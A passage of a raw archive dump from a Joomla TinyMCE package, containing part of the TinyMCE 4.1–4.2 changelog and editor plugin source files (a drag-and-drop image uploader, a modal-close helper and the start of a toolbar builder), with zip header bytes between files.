	Fixed bug where inline editing of a table as the root element could let
the user delete that table.
	Fixed bug where inline editing of a table as the root element
wouldn't properly handle enter key.
	Fixed bug where inline editing of a table as the root element would
normalize the selection incorrectly.
	Fixed bug where inline editing of a list as the root element could let the
user delete that list.
	Fixed bug where inline editing of a list as the root element could let the
user split that list.
	Fixed bug where resize handles would be rendered on editable root elements
such as table.
Version 4.2.6 (2015-09-28)
	Added capability to set request headers when using XHRs.
	Added capability to upload local images automatically default delay is set
to 30 seconds after editing images.
	Added commands ids mceEditImage, mceAchor and mceMedia to be avaiable from
execCommand.
	Added Edge browser to saucelabs grunt task. Patch contributed by
John-David Dalton.
	Fixed bug where blob uris not produced by tinymce would produce HTML
invalid markup.
	Fixed bug where selection of contents of a nearly empty editor in Edge
would sometimes fail.
	Fixed bug where color styles woudln't be retained on copy/paste in
Blink/Webkit.
	Fixed bug where the table plugin would throw an error when inserting rows
after a child table.
	Fixed bug where the template plugin wouldn't handle functions as
variable replacements.
	Fixed bug where undo/redo sometimes wouldn't work properly when
applying formatting collapsed ranges.
	Fixed bug where shift+delete wouldn't do a cut operation on
Blink/WebKit.
	Fixed bug where cut action wouldn't properly store the before
selection bookmark for the undo level.
	Fixed bug where backspace in side an empty list element on IE would loose
editor focus.
	Fixed bug where the save plugin wouldn't enable the buttons when a
change occurred.
	Fixed bug where Edge wouldn't initialize the editor if a
document.domain was specified.
	Fixed bug where enter key before nested images would sometimes not
properly expand the previous block.
	Fixed bug where the inline toolbars wouldn't get properly hidden when
blurring the editor instance.
	Fixed bug where Edge would paste Chinese characters on some Windows 10
installations.
	Fixed bug where IME would loose focus on IE 11 due to the double trailing
br bug fix.
	Fixed bug where the proxy url in imagetools was incorrect. Patch
contributed by Wong Ho Wang.
Version 4.2.5 (2015-08-31)
	Added fullscreen capability to embedded youtube and vimeo videos.
	Fixed bug where the uploadImages call didn't work on IE 10.
	Fixed bug where image place holders would be uploaded by uploadImages
call.
	Fixed bug where images marked with bogus would be uploaded by the
uploadImages call.
	Fixed bug where multiple calls to uploadImages would result in decreased
performance.
	Fixed bug where pagebreaks were editable to imagetools patch contributed
by Rasmus Wallin.
	Fixed bug where the element path could cause too much recursion exception.
	Fixed bug for domains containing ".min". Patch contributed by
Loïc Février.
	Fixed so validation of external links to accept a number after www. Patch
contributed by Victor Carvalho.
	Fixed so the charmap is exposed though execCommand. Patch contributed by
Matthew Will.
	Fixed so that the image uploads are concurrent for improved performance.
	Fixed various grammar problems in inline documentation. Patches provided
by nikolas.
Version 4.2.4 (2015-08-17)
	Added picture as a valid element to the HTML 5 schema. Patch contributed
by Adam Taylor.
	Fixed bug where contents would be duplicated on drag/drop within the same
editor.
	Fixed bug where floating/alignment of images on Edge wouldn't work
properly.
	Fixed bug where it wasn't possible to drag images on IE 11.
	Fixed bug where image selection on Edge would sometimes fail.
	Fixed bug where contextual toolbars icons wasn't rendered properly
when using the toolbar_items_size.
	Fixed bug where searchreplace dialog doesn't get prefilled with the
selected text.
	Fixed bug where fragmented matches wouldn't get properly replaced by
the searchreplace plugin.
	Fixed bug where enter key wouldn't place the caret if was after a
trailing space within an inline element.
	Fixed bug where the autolink plugin could produce multiple links for the
same text on Gecko.
	Fixed bug where EditorUpload could sometimes throw an exception if the
blob wasn't found.
	Fixed xss issues with media plugin not properly filtering out some script
attributes.
Version 4.2.3 (2015-07-30)
	Fixed bug where image selection wasn't possible on Edge due to
incompatible setBaseAndExtend API.
	Fixed bug where image blobs urls where not properly destroyed by the
imagetools plugin.
	Fixed bug where keyboard shortcuts wasn't working correctly on IE 8.
	Fixed skin issue where the borders of panels where not visible on IE 8.
Version 4.2.2 (2015-07-22)
	Fixed bug where float panels were not being hidden on inline editor blur
when fixed_toolbar_container config option was in use.
	Fixed bug where combobox states wasn't properly updated if contents
where updated without keyboard.
	Fixed bug where pasting into textbox or combobox would move the caret to
the end of text.
	Fixed bug where removal of bogus span elements before block elements would
remove whitespace between nodes.
	Fixed bug where repositioning of inline toolbars where async and producing
errors if the editor was removed from DOM to early. Patch by iseulde.
	Fixed bug where element path wasn't working correctly. Patch
contributed by iseulde.
	Fixed bug where menus wasn't rendered correctly when custom images
where added to a menu. Patch contributed by Naim Hammadi.
Version 4.2.1 (2015-06-29)
	Fixed bug where back/forward buttons in the browser would render blob
images as broken images.
	Fixed bug where Firefox would throw regexp to big error when replacing
huge base64 chunks.
	Fixed bug rendering issues with resize and context toolbars not being
placed properly until next animation frame.
	Fixed bug where the rendering of the image while cropping would some times
not be centered correctly.
	Fixed bug where listbox items with submenus would me selected as active.
	Fixed bug where context menu where throwing an error when rendering.
	Fixed bug where resize both option wasn't working due to resent
addClass API change. Patch contributed by Jogai.
	Fixed bug where a hideAll call for container rendered inline toolbars
would throw an error.
	Fixed bug where onclick event handler on combobox could cause issues if
element.id was a function by some polluting libraries.
	Fixed bug where listboxes wouldn't get proper selected sub menu item
when using link_list or image_list.
	Fixed so the UI controls are as wide as 4.1.x to avoid wrapping controls
in toolbars.
	Fixed so the imagetools dialog is adaptive for smaller screen sizes.
Version 4.2.0 (2015-06-25)
	Added new flat default skin to make the UI more modern.
	Added new imagetools plugin, lets you crop/resize and apply filters to
images.
	Added new contextual toolbars support to the API lets you add floating
toolbars for specific CSS selectors.
	Added new promise feature fill as tinymce.util.Promise.
	Added new built in image upload feature lets you upload any base64 encoded
image within the editor as files.
	Fixed bug where resize handles would appear in the right position in the
wrong editor when switching between resizable content in different inline
editors.
	Fixed bug where tables would not be inserted in inline mode due to
previous float panel fix.
	Fixed bug where floating panels would remain open when focus was lost on
inline editors.
	Fixed bug where cut command on Chrome would thrown a browser security
exception.
	Fixed bug where IE 11 sometimes would report an incorrect size for images
in the image dialog.
	Fixed bug where it wasn't possible to remove inline formatting at the
end of block elements.
	Fixed bug where it wasn't possible to delete table cell contents when
cell selection was vertical.
	Fixed bug where table cell wasn't emptied from block elements if
delete/backspace where pressed in empty cell.
	Fixed bug where cmd+shift+arrow didn't work correctly on Firefox mac
when selecting to start/end of line.
	Fixed bug where removal of bogus elements would sometimes remove
whitespace between nodes.
	Fixed bug where the resize handles wasn't updated when the main
window was resized.
	Fixed so script elements gets removed by default to prevent possible XSS
issues in default config implementations.
	Fixed so the UI doesn't need manual reflows when using non native
layout managers.
	Fixed so base64 encoded images doesn't slow down the editor on modern
browsers while editing.
	Fixed so all UI elements uses touch events to improve mobile device
support.
	Removed the touch click quirks patch for iOS since it did more harm than
good.
	Removed the non proportional resize handles since. Unproportional resize
can still be done by holding the shift key.
Version 4.1.10 (2015-05-05)
	Fixed bug where plugins loaded with compat3x would sometimes throw errors
when loading using the jQuery version.
	Fixed bug where extra empty paragraphs would get deleted in WebKit/Blink
due to recent Quriks fix.
	Fixed bug where the editor wouldn't work properly on IE 12 due to
some required browser sniffing.
	Fixed bug where formatting shortcut keys where interfering with Mac OS X
screenshot keys.
	Fixed bug where the caret wouldn't move to the next/previous line
boundary on Cmd+Left/Right on Gecko.
	Fixed bug where it wasn't possible to remove formats from very
specific nested contents.
	Fixed bug where undo levels wasn't produced when typing letters using
the shift or alt+ctrl modifiers.
	Fixed bug where the dirty state wasn't properly updated when typing
using the shift or alt+ctrl modifiers.
	Fixed bug where an error would be thrown if an autofocused editor was
destroyed quickly after its initialization. Patch provided by thorn0.
	Fixed issue with dirty state not being properly updated on redo operation.
	Fixed issue with entity decoder not handling incorrectly written numeric
entities.
	Fixed issue where some PI element values wouldn't be properly
encoded.
Version 4.1.9 (2015-03-10)
	Fixed bug where indentation wouldn't work properly for non list
elements.
	Fixed bug with image plugin not pulling the image dimensions out correctly
if a custom document_base_url was used.
	Fixed bug where ctrl+alt+[1-9] would conflict with the AltGr+[1-9] on
Windows. New shortcuts is ctrl+shift+[1-9].
	Fixed bug with removing formatting on nodes in inline mode would sometimes
include nodes outside the editor body.
	Fixed bug where extra nbsp:s would be inserted when you replaced a word
surrounded by spaces using insertContent.
	Fixed bug with pasting from Google Docs would produce extra strong
elements and line feeds.
Version 4.1.8 (2015-03-05)
	Added new html5 sizes attribute to img elements used together with srcset.
	Added new elementpath option that makes it possible to disable the element
path but keep the statusbar.
	Added new option table_style_by_css for the table plugin to set table
styling with css rather than table attributes.
	Added new link_assume_external_targets option to prompt the user to
prepend http:// prefix if the supplied link does not contain a protocol
prefix.
	Added new image_prepend_url option to allow a custom base path/url to be
added to images.
	Added new table_appearance_options option to make it possible to disable
some options.
	Added new image_title option to make it possible to alter the title of the
image, disabled by default.
	Fixed bug where selection starting from out side of the body wouldn't
produce a proper selection range on IE 11.
	Fixed bug where pressing enter twice before a table moves the cursor in
the table and causes a javascript error.
	Fixed bug where advanced image styles were not respected.
	Fixed bug where the less common Shift+Delete didn't produce a proper
cut operation on WebKit browsers.
	Fixed bug where image/media size constrain logic would produce NaN when
handling non number values.
	Fixed bug where internal classes where removed by the removeformat
command.
	Fixed bug with creating links table cell contents with a specific
selection would throw a exceptions on WebKit/Blink.
	Fixed bug where valid_classes option didn't work as expected
according to docs. Patch provided by thorn0.
	Fixed bug where jQuery plugin would patch the internal methods multiple
times. Patch provided by Drew Martin.
	Fixed bug where backspace key wouldn't delete the current selection
of newly formatted content.
	Fixed bug where type over of inline formatting elements wouldn't
properly keep the format on WebKit/Blink.
	Fixed bug where selection needed to be properly normalized on modern IE
versions.
	Fixed bug where Command+Backspace didn't properly delete the whole
line of text but the previous word.
	Fixed bug where UI active states wheren't properly updated on IE if
you placed caret within the current range.
	Fixed bug where delete/backspace on WebKit/Blink would remove span
elements created by the user.
	Fixed bug where delete/backspace would produce incorrect results when
deleting between two text blocks with br elements.
	Fixed bug where captions where removed when pasting from MS Office.
	Fixed bug where lists plugin wouldn't properly remove fully selected
nested lists.
	Fixed bug where the ttf font used for icons would throw an warning message
on Gecko on Mac OS X.
	Fixed a bug where applying a color to text did not update the undo/redo
history.
	Fixed so shy entities gets displayed when using the visualchars plugin.
	Fixed so removeformat removes ins/del by default since these might be used
for strikethough.
	Fixed so multiple language packs can be loaded and added to the global
I18n data structure.
	Fixed so transparent color selection gets treated as a normal color
selection. Patch contributed by Alexander Hofbauer.
	Fixed so it's possible to disable autoresize_overflow_padding,
autoresize_bottom_margin options by setting them to false.
	Fixed so the charmap plugin shows the description of the character in the
dialog. Patch contributed by Jelle Hissink.
	Removed address from the default list of block formats since it tends to
be missused.
	Fixed so the pre block format is called preformatted to make it more
verbose.
	Fixed so it's possible to context scope translation strings this
isn't needed most of the time.
	Fixed so the max length of the width/height input fields of the media
dialog is 5 instead of 3.
	Fixed so drag/dropped contents gets properly processed by paste plugin
since it's basically a paste. Patch contributed by Greg Fairbanks.
	Fixed so shortcut keys for headers is ctrl+alt+[1-9] instead of ctrl+[1-9]
since these are for switching tabs in the browsers.
	Fixed so "u" doesn't get converted into a span element by
the legacy input filter. Since this is now a valid HTML5 element.
	Fixed font families in order to provide appropriate web-safe fonts.
Version 4.1.7 (2014-11-27)
	Added HTML5 schema support for srcset, source and picture. Patch
contributed by mattheu.
	Added new cache_suffix setting to enable cache busting by producing unique
urls.
	Added new paste_convert_word_fake_lists option to enable users to disable
the fake lists convert logic.
	Fixed so advlist style changes adds undo levels for each change.
	Fixed bug where WebKit would sometimes produce an exception when the
autolink plugin where looking for URLs.
	Fixed bug where IE 7 wouldn't be rendered properly due to to
aggressive css compression.
	Fixed bug where DomQuery wouldn't accept window as constructor
element.
	Fixed bug where the color picker in 3.x dialogs wouldn't work
properly. Patch contributed by Callidior.
	Fixed bug where the image plugin wouldn't respect the
document_base_url.
	Fixed bug where the jQuery plugin would fail to append to elements named
array prototype names.
Version 4.1.6 (2014-10-08)
	Fixed bug with clicking on the scrollbar of the iframe would cause a JS
error to be thrown.
	Fixed bug where null would produce an exception if you passed it to
selection.setRng.
	Fixed bug where Ctrl/Cmd+Tab would indent the current list item if you
switched tabs in the browser.
	Fixed bug where pasting empty cells from Excel would result in a broken
table.
	Fixed bug where it wasn't possible to switch back to default list
style type.
	Fixed issue where the select all quirk fix would fire for other modifiers
than Ctrl/Cmd combinations.
	Replaced jake with grunt since it is more mainstream and has better plugin
support.
Version 4.1.5 (2014-09-09)
	Fixed bug where sometimes the resize rectangles wouldn't properly
render on images on WebKit/Blink.
	Fixed bug in list plugin where delete/backspace would merge empty LI
elements in lists incorrectly.
	Fixed bug where empty list elements would result in empty LI elements
without it's parent container.
	Fixed bug where backspace in empty caret formatted element could produce
an type error exception of Gecko.
	Fixed bug where lists pasted from word with a custom start index above 9
wouldn't be properly handled.
	Fixed bug where tabfocus plugin would tab out of the editor instance even
if the default action was prevented.
	Fixed bug where tabfocus wouldn't tab properly to other adjacent
editor instances.
	Fixed bug where the DOMUtils setStyles wouldn't properly removed or
update the data-mce-style attribute.
	Fixed bug where dialog select boxes would be placed incorrectly if
document.body wasn't statically positioned.
	Fixed bug where pasting would sometimes scroll to the top of page if the
user was using the autoresize plugin.
	Fixed bug where caret wouldn't be properly rendered by Chrome when
clicking on the iframes documentElement.
	Fixed so custom images for menubutton/splitbutton can be provided. Patch
contributed by Naim Hammadi.
	Fixed so the default action of windows closing can be prevented by
blocking the default action of the close event.
	Fixed so nodeChange and focus of the editor isn't automatically
performed when opening sub dialogs.
Version 4.1.4 (2014-08-21)
	Added new media_filter_html option to media plugin that blocks any
conditional comments, scripts etc within a video element.
	Added new content_security_policy option allows you to set custom policy
for iframe contents. Patch contributed by Francois Chagnon.
	Fixed bug where activate/deactivate events wasn't firing properly
when switching between editors.
	Fixed bug where placing the caret on iOS was difficult due to a WebKit bug
with touch events.
	Fixed bug where the resize helper wouldn't render properly on older
IE versions.
	Fixed bug where resizing images inside tables on older IE versions would
sometimes fail depending mouse position.
	Fixed bug where editor.insertContent would produce an exception when
inserting select/option elements.
	Fixed bug where extra empty paragraphs would be produced if block elements
where inserted inside span elements.
	Fixed bug where the spellchecker menu item wouldn't be properly
checked if spell checking was started before it was rendered.
	Fixed bug where the DomQuery filter function wouldn't remove non
elements from collection.
	Fixed bug where document with custom document.domain wouldn't
properly render the editor.
	Fixed bug where IE 8 would throw exception when trying to enter invalid
color values into colorboxes.
	Fixed bug where undo manager could incorrectly add an extra undo level
when custom resize handles was removed.
	Fixed bug where it wouldn't be possible to alter cell properties
properly on table cells on IE 8.
	Fixed so the color picker button in table dialog isn't shown unless
you include the colorpicker plugin or add your own custom color picker.
	Fixed so activate/deactivate events fire when windowManager opens a window
since.
	Fixed so the table advtab options isn't separated by an underscore to
normalize naming with image_advtab option.
	Fixed so the table cell dialog has proper padding when the advanced tab in
disabled.
Version 4.1.3 (2014-07-29)
	Added event binding logic to tinymce.util.XHR making it possible to
override headers and settings before any request is made.
	Fixed bug where drag events wasn't fireing properly on older IE
versions since the event handlers where bound to document.
	Fixed bug where drag/dropping contents within the editor on IE would force
the contents into plain text mode even if it was internal content.
	Fixed bug where IE 7 wouldn't open menus properly due to a resize bug
in the browser auto closing them immediately.
	Fixed bug where the DOMUtils getPos logic wouldn't produce a valid
coordinate inside the body if the body was positioned non static.
	Fixed bug where the element path and format state wasn't properly
updated if you had the wordcount plugin enabled.
	Fixed bug where a comment at the beginning of source would produce an
exception in the formatter logic.
	Fixed bug where setAttrib/getAttrib on null would throw exception together
with any hooked attributes like style.
	Fixed bug where table sizes wasn't properly retained when
copy/pasting on WebKit/Blink.
	Fixed bug where WebKit/Blink would produce colors in RGB format instead of
the forced HEX format when deleting contents.
	Fixed bug where the width attribute wasn't updated on tables if you
changed the size inside the table dialog.
	Fixed bug where control selection wasn't properly handled when the
caret was placed directly after an image.
	Fixed bug where selecting the contents of table cells using the
selection.select method wouldn't place the caret properly.
	Fixed bug where the selection state for images wasn't removed when
placing the caret right after an image on WebKit/Blink.
	Fixed bug where all events wasn't properly unbound when and editor
instance was removed or destroyed by some external innerHTML call.
	Fixed bug where it wasn't possible or very hard to select images on
iOS when the onscreen keyboard was visible.
	Fixed so auto_focus can take a boolean argument this will auto focus the
last initialized editor might be useful for single inits.
	Fixed so word auto detect lists logic works better for faked lists that
doesn't have specific markup.
	Fixed so nodeChange gets fired on mouseup as it used to before 4.1.1 we
optimized that event to fire less often.
	Removed the finish menu item from spellchecker menu since it's
redundant you can stop spellchecking by toggling menu item or button.
Version 4.1.2 (2014-07-15)
	Added offset/grep to DomQuery class works basically the same as it's
jQuery equivalent.
	Fixed bug where backspace/delete or setContent with an empty string would
remove header data when using the fullpage plugin.
	Fixed bug where tinymce.remove with a selector not matching any editors
would remove all editors.
	Fixed bug where resizing of the editor didn't work since the theme
was calling setStyles instead of setStyle.
	Fixed bug where IE 7 would fail to append html fragments to iframe
document when using DomQuery.
	Fixed bug where the getStyle DOMUtils method would produce an exception if
it was called with null as it's element.
	Fixed bug where the paste plugin would remove the element if the none of
the paste_webkit_styles rules matched the current style.
	Fixed bug where contextmenu table items wouldn't work properly on IE
since it would some times fire an incorrect selection change.
	Fixed bug where the padding/border values wasn't used in the size
calculation for the body size when using autoresize. Patch contributed by
Matt Whelan.
	Fixed bug where conditional word comments wouldn't be properly
removed when pasting plain text.
	Fixed bug where resizing would sometime fail on IE 11 when the mouseup
occurred inside the resizable element.
	Fixed so the iframe gets initialized without any inline event handlers for
better CSP support. Patch contributed by Matt Whelan.
	Fixed so the tinymce.dom.Sizzle is the latest version of sizzle this
resolves the document context bug.
Version 4.1.1 (2014-07-08)
	Fixed bug where pasting plain text on some WebKit versions would result in
an empty line.
	Fixed bug where resizing images inside tables on IE 11 wouldn't work
properly.
	Fixed bug where IE 11 would sometimes throw "Invalid argument"
exception when editor contents was set to an empty string.
	Fixed bug where document.activeElement would throw exceptions on IE 9 when
that element was hidden or removed from dom.
	Fixed bug where WebKit/Blink sometimes produced br elements with the
Apple-interchange-newline class.
	Fixed bug where table cell selection wasn't properly removed when
copy/pasting table cells.
	Fixed bug where pasting nested list items from Word wouldn't produce
proper semantic nested lists.
	Fixed bug where right clicking using the contextmenu plugin on
WebKit/Blink on Mac OS X would select the target current word or line.
	Fixed bug where it wasn't possible to alter table cell properties on
IE 8 using the context menu.
	Fixed bug where the resize helper wouldn't be correctly positioned on
older IE versions.
	Fixed bug where fullpage plugin would produce an error if you didn't
specify a doctype encoding.
	Fixed bug where anchor plugin would get the name/id of the current element
even if it wasn't anchor element.
	Fixed bug where visual aids for tables wouldn't be properly disabled
when changing the border size.
	Fixed bug where some control selection events wasn't properly fired
on older IE versions.
	Fixed bug where table cell selection on older IE versions would prevent
resizing of images.
	Fixed bug with paste_data_images paste option not working properly on
modern IE versions.
	Fixed bug where custom elements with underscores in the name wasn't
properly parsed/serialized.
	Fixed bug where applying inline formats to nested list elements would
produce an incorrect formatting result.
	Fixed so it's possible to hide items from elements path by using
preventDefault/stopPropagation.
	Fixed so inline mode toolbar gets rendered right aligned if the editable
element positioned to the documents right edge.
	Fixed so empty inline elements inside empty block elements doesn't
get removed if configured to be kept intact.
	Fixed so DomQuery parentsUntil/prevUntil/nextUntil supports
selectors/elements/filters etc.
	Fixed so legacyoutput plugin overrides fontselect and fontsizeselect
controls and handles font elements properly.
Version 4.1.0 (2014-06-18)
	Added new file_picker_callback option to replace the old
file_browser_callback the latter will still work though.
	Added new custom colors to textcolor plugin will be displayed if a color
picker is provided also shows the latest colors.
	Added new color_picker_callback option to enable you to add custom color
pickers to the editor.
	Added new advanced tabs to table/cell/row dialogs to enable you to select
colors for border/background.
	Added new colorpicker plugin that lets you select colors from a hsv color
picker.
	Added new tinymce.util.Color class to handle color parsing and converting.
	Added new colorpicker UI widget element lets you add a hsv color picker to
any form/window.
	Added new textpattern plugin that allows you to use markdown like text
patterns to format contents.
	Added new resize helper element that shows the current width & height
while resizing.
	Added new "once" method to Editor and EventDispatcher enables
since callback execution events.
	Added new jQuery like class under tinymce.dom.DomQuery it's exposed
on editor instances (editor.$) and globally under (tinymce.$).
	Fixed so the default resize method for images are proportional shift/ctrl
can be used to make an unproportional size.
	Fixed bug where the image_dimensions option of the image plugin would
cause exceptions when it tried to update the size.
	Fixed bug where table cell dialog class field wasn't properly updated
when editing an a table cell with an existing class.
	Fixed bug where Safari on Mac would produce webkit-fake-url for pasted
images so these are now removed.
	Fixed bug where the nodeChange event would get fired before the selection
was changed when clicking inside the current selection range.
	Fixed bug where valid_classes option would cause exception when it removed
internal prefixed classes like mce-item-.
	Fixed bug where backspace would cause navigation in IE 8 on an inline
element and after a caret formatting was applied.
	Fixed so placeholder images produced by the media plugin gets selected
when inserted/edited.
	Fixed so it's possible to drag in images when the paste_data_images
option is enabled. Might be useful for mail clients.
	Fixed so images doesn't get a width/height applied if the
image_dimensions option is set to false useful for responsive contents.
	Fixed so it's possible to pass in an optional arguments object for
the nodeChanged function to be passed to all nodechange event listeners.
	Fixed bug where media plugin embed code didn't update correctly.
PKR��[����%tinymce/js/plugins/dragdrop/plugin.jsnu�[���tinymce.PluginManager.add('jdragdrop',
function(editor) {

	// Reset the drop area border
	tinyMCE.DOM.bind(document, 'dragleave', function(e) {
		e.stopPropagation();
		e.preventDefault();
		tinyMCE.activeEditor.contentAreaContainer.style.borderWidth = '1px 0
0';

		return false;
	});

	// The upload logic
	function UploadFile(file) {
		var fd = new FormData();
		fd.append('Filedata', file);
		fd.append('folder',
tinyMCE.activeEditor.settings.mediaUploadPath);

		var xhr = new XMLHttpRequest();

		xhr.upload.onprogress = function(e) {
			var percentComplete = (e.loaded / e.total) * 100;
			document.querySelector('.bar').style.width = percentComplete +
'%';
		};

		removeProgessBar = function(){
			setTimeout(function(){
				var loader = document.querySelector('#jloader');
				loader.parentNode.removeChild(loader);
				editor.contentAreaContainer.style.borderWidth = '1px 0 0 0';
			}, 200);
		};

		xhr.onload = function() {
			var resp = JSON.parse(xhr.responseText);

			if (xhr.status == 200) {
				if (resp.status == '0') {
					removeProgessBar();

					editor.windowManager.alert(resp.message + ': ' +
tinyMCE.activeEditor.settings.setCustomDir + resp.location);

				}

				if (resp.status == '1') {
					removeProgessBar();

					// Create the image tag
					var newNode = tinyMCE.activeEditor.getDoc().createElement
('img');
					newNode.src= tinyMCE.activeEditor.settings.setCustomDir +
resp.location;
					tinyMCE.activeEditor.execCommand('mceInsertContent', false,
newNode.outerHTML);
				}
			} else {
				removeProgessBar();
			}
		};

		xhr.onerror = function() {
			removeProgessBar();
		};

		xhr.open("POST", tinyMCE.activeEditor.settings.uploadUri,
true);
		xhr.send(fd);

	}

	// Listers for drag and drop
	if (typeof FormData != 'undefined'){

		// Fix for Chrome
		editor.on('dragenter', function(e) {
			e.stopPropagation();

			return false;
		});


		// Notify user when file is over the drop area
		editor.on('dragover', function(e) {
			e.preventDefault();
			editor.contentAreaContainer.style.borderStyle = 'dashed';
			editor.contentAreaContainer.style.borderWidth = '5px';

			return false;
		});

		// Logic for the dropped file
		editor.on('drop', function(e) {

			// We override only for files
			if (e.dataTransfer && e.dataTransfer.files &&
e.dataTransfer.files.length > 0) {
				for (var i = 0, f; f = e.dataTransfer.files[i]; i++) {

					// Only images allowed
					if (f.name.toLowerCase().match(/\.(jpg|jpeg|png|gif)$/)) {

						// Create and display the progress bar
						var container, innerDiv, progressBar = '';
						container = document.createElement('div');
						container.id = 'jloader';
						innerDiv = document.createElement('div');
						innerDiv.classList.add('progress');
						innerDiv.classList.add('progress-success');
						innerDiv.classList.add('progress-striped');
						innerDiv.classList.add('active');
						innerDiv.style.width = '100%';
						innerDiv.style.height = '30px';
						progressBar = document.createElement('div');
						progressBar.classList.add('bar');
						progressBar.style.width = '0';
						innerDiv.appendChild(progressBar);
						container.appendChild(innerDiv);
						document.querySelector('.mce-toolbar-grp').appendChild(container);

						// Upload the file(s)
						UploadFile(f);
					}

					e.preventDefault();
				}
			}
			editor.contentAreaContainer.style.borderWidth = '1px 0 0';
		});
	} else {
		Joomla.renderMessages({'error':
[Joomla.JText._("PLG_TINY_ERR_UNSUPPORTEDBROWSER")]});
		editor.on('drop', function(e) {
			e.preventDefault();

			return false;
		});
	}
});
PKR��[Z\
���)tinymce/js/plugins/dragdrop/plugin.min.jsnu�[���tinymce.PluginManager.add("jdragdrop",function(e){function
t(t){var r=new
FormData;r.append("Filedata",t),r.append("folder",tinyMCE.activeEditor.settings.mediaUploadPath);var
n=new XMLHttpRequest;n.upload.onprogress=function(e){var
t=e.loaded/e.total*100;document.querySelector(".bar").style.width=t+"%"},removeProgessBar=function(){setTimeout(function(){var
t=document.querySelector("#jloader");t.parentNode.removeChild(t),e.contentAreaContainer.style.borderWidth="1px
0 0 0"},200)},n.onload=function(){var
t=JSON.parse(n.responseText);if(200==n.status){if("0"==t.status&&(removeProgessBar(),e.windowManager.alert(t.message+":
"+tinyMCE.activeEditor.settings.setCustomDir+t.location)),"1"==t.status){removeProgessBar();var
r=tinyMCE.activeEditor.getDoc().createElement("img");r.src=tinyMCE.activeEditor.settings.setCustomDir+t.location,tinyMCE.activeEditor.execCommand("mceInsertContent",!1,r.outerHTML)}}else
removeProgessBar()},n.onerror=function(){removeProgessBar()},n.open("POST",tinyMCE.activeEditor.settings.uploadUri,!0),n.send(r)}tinyMCE.DOM.bind(document,"dragleave",function(e){return
e.stopPropagation(),e.preventDefault(),tinyMCE.activeEditor.contentAreaContainer.style.borderWidth="1px
0 0",!1}),"undefined"!=typeof
FormData?(e.on("dragenter",function(e){return
e.stopPropagation(),!1}),e.on("dragover",function(t){return
t.preventDefault(),e.contentAreaContainer.style.borderStyle="dashed",e.contentAreaContainer.style.borderWidth="5px",!1}),e.on("drop",function(r){if(r.dataTransfer&&r.dataTransfer.files&&r.dataTransfer.files.length>0)for(var
n,a=0;n=r.dataTransfer.files[a];a++){if(n.name.toLowerCase().match(/\.(jpg|jpeg|png|gif)$/)){var
o,i,s="";(o=document.createElement("div")).id="jloader",(i=document.createElement("div")).classList.add("progress"),i.classList.add("progress-success"),i.classList.add("progress-striped"),i.classList.add("active"),i.style.width="100%",i.style.height="30px",(s=document.createElement("div")).classList.add("bar"),s.style.width="0",i.appendChild(s),o.appendChild(i),document.querySelector(".mce-toolbar-grp").appendChild(o),t(n)}r.preventDefault()}e.contentAreaContainer.style.borderWidth="1px
0
0"})):(Joomla.renderMessages({error:[Joomla.JText._("PLG_TINY_ERR_UNSUPPORTEDBROWSER")]}),e.on("drop",function(e){return
e.preventDefault(),!1}))});PKR��[�8��tinymce/js/tiny-close.jsnu�[���/**
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

/**
 * This is used by tinyMCE in order to allow both mootools and bootstrap
modals
 * to close correctly, more tinyMCE related functionality maybe added in
the future
 *
 * @package     Joomla
 * @since       3.5.1
 * @version     1.0
 */
document.addEventListener('DOMContentLoaded', function () {
	if (typeof window.jModalClose_no_tinyMCE === 'undefined')
	{
		window.jModalClose_no_tinyMCE = typeof(jModalClose) ==
'function'  ?  jModalClose  :  false;

		jModalClose = function () {
			if (window.jModalClose_no_tinyMCE)
window.jModalClose_no_tinyMCE.apply(this, arguments);
			tinyMCE.activeEditor.windowManager.close();
		};
	}

	if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined')
	{
		if (typeof(SqueezeBox) == 'undefined')  SqueezeBox = {};
		window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) ==
'function'  ?  SqueezeBox.close  :  false;

		SqueezeBox.close = function () {
			if (window.SqueezeBoxClose_no_tinyMCE) 
window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments);
			tinyMCE.activeEditor.windowManager.close();
		};
	}
});
PKR��[��]��tinymce/js/tiny-close.min.jsnu�[���document.addEventListener("DOMContentLoaded",function(){"undefined"==typeof
window.jModalClose_no_tinyMCE&&(window.jModalClose_no_tinyMCE="function"==typeof
jModalClose&&jModalClose,jModalClose=function(){window.jModalClose_no_tinyMCE&&window.jModalClose_no_tinyMCE.apply(this,arguments),tinyMCE.activeEditor.windowManager.close()}),"undefined"==typeof
window.SqueezeBoxClose_no_tinyMCE&&("undefined"==typeof
SqueezeBox&&(SqueezeBox={}),window.SqueezeBoxClose_no_tinyMCE="function"==typeof
SqueezeBox.close&&SqueezeBox.close,SqueezeBox.close=function(){window.SqueezeBoxClose_no_tinyMCE&&window.SqueezeBoxClose_no_tinyMCE.apply(this,arguments),tinyMCE.activeEditor.windowManager.close()})});
PKR��[�n�U�(�(tinymce/js/tinymce-builder.jsnu�[���/**
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see
LICENSE.txt
 */

;(function($) {
    "use strict";

    /**
     * Fake TinyMCE object to allow to use TinyMCE translation for the
button labels
     *
     * @since  3.7.0
     */
    window.tinymce = {
        langCode: 'en',
        langStrings: {},
        addI18n: function (code, strings){
            this.langCode    = code;
            this.langStrings = strings || {};
        },
        translate: function (string){
            return this.langStrings[string] ? this.langStrings[string] :
string;
        }
    };

    /**
     * Joomla TinyMCE Builder
     *
     * @param {HTMLElement} container
     * @param {Object}      options
     * @constructor
     *
     * @since  3.7.0
     */
    var JoomlaTinyMCEBuilder = function(container, options) {
        this.$container = $(container);
        this.options    = options;

        // Find source containers
        this.$sourceMenu    =
this.$container.find('.timymce-builder-menu.source');
        this.$sourceToolbar =
this.$container.find('.timymce-builder-toolbar.source');

        // Find target containers
        this.$targetMenu    =
this.$container.find('.timymce-builder-menu.target');
        this.$targetToolbar =
this.$container.find('.timymce-builder-toolbar.target');

        // Render Source elements
        this.$sourceMenu.each(function(i, element){
            this.renderBar(element, 'menu');
        }.bind(this));
        this.$sourceToolbar.each(function(i, element){
            this.renderBar(element, 'toolbar');
        }.bind(this));

        // Render Target elements
        this.$targetMenu.each(function(i, element){
            this.renderBar(element, 'menu', null, true);
        }.bind(this));
